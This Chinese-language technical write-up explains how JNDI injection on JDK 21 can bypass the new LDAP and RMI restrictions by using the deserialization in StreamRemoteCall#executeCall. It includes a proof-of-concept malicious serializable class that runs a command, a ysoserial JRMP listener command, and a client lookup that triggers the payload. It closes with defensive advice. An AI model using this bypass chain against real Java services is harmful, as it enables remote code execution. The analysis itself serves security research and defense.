jdk21下的jndi注入
字数 832 2025-08-22 12:22:24
JDK21下的JNDI注入绕过技术分析
1. JDK21对JNDI注入的限制
1.1 对LDAP的限制
在JDK21中,decodeObject方法增加了安全检查:
static Object decodeObject(Attributes attrs) throws NamingException {
Attribute attr;
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[]) attr.get(), cl);
}
// ...其他代码...
}
// ...异常处理...
}
关键限制点:
- 新增了
VersionHelper.isSerialDataAllowed()检查 trustSerialData默认为false,禁止了LDAP反序列化攻击
1.2 对RMI的限制
JDK21对RMI工厂类攻击也增加了限制:
return NamingManagerHelper.getObjectInstance(
obj, name, this, environment, ObjectFactoriesFilter::checkRmiFilter);
checkRmiFilter方法限制:
public static boolean checkRmiFilter(Class<?> serialClass) {
return checkInput(RMI_FILTER, () -> serialClass);
}
默认只允许jdk.naming.rmi/com.sun.jndi.rmi.**包下的工厂类:
private static final String DEFAULT_RMI_SP_VALUE = "jdk.naming.rmi/com.sun.jndi.rmi.**;!*";
2. 绕过思路:利用StreamRemoteCall#executeCall()
2.1 漏洞点分析
sun.rmi.transport.StreamRemoteCall#executeCall方法中存在反序列化点:
public void executeCall() throws Exception {
// ...代码省略...
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject(); // 反序列化点
} catch (Exception e) {
discardPendingRefs();
throw new UnmarshalException("Error unmarshaling return", e);
}
// ...异常处理...
}
// ...代码省略...
}
2.2 攻击条件
- 能够控制RMI连接返回的内容
- 使返回类型为
TransportConstants.ExceptionalReturn(1) - JRMP Listener可以满足这些条件
2.3 调用链分析
executeCall:234, StreamRemoteCall (sun.rmi.transport)
invoke:382, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:137, RegistryContext (com.sun.jndi.rmi.registry)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:409, InitialContext (javax.naming)
main:8, Client
3. 攻击复现
3.1 准备恶意对象
package ysoserial.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilObject implements Serializable {
private void readObject(ObjectInputStream s) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
3.2 启动JRMP Listener
使用ysoserial工具启动JRMP监听器:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 EvilObject
3.3 客户端攻击代码
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1234/any_is_ok";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
4. 防御建议
- 升级到最新JDK版本
- 限制JNDI查找的可信来源
- 设置
com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase为false - 使用安全管理器限制反序列化操作
5. 总结
JDK21虽然加强了对JNDI注入的防护,但通过分析RMI底层实现中的StreamRemoteCall#executeCall方法,仍然可以找到绕过点。这种攻击方式利用了JRMP协议的特性,在特定条件下触发反序列化操作。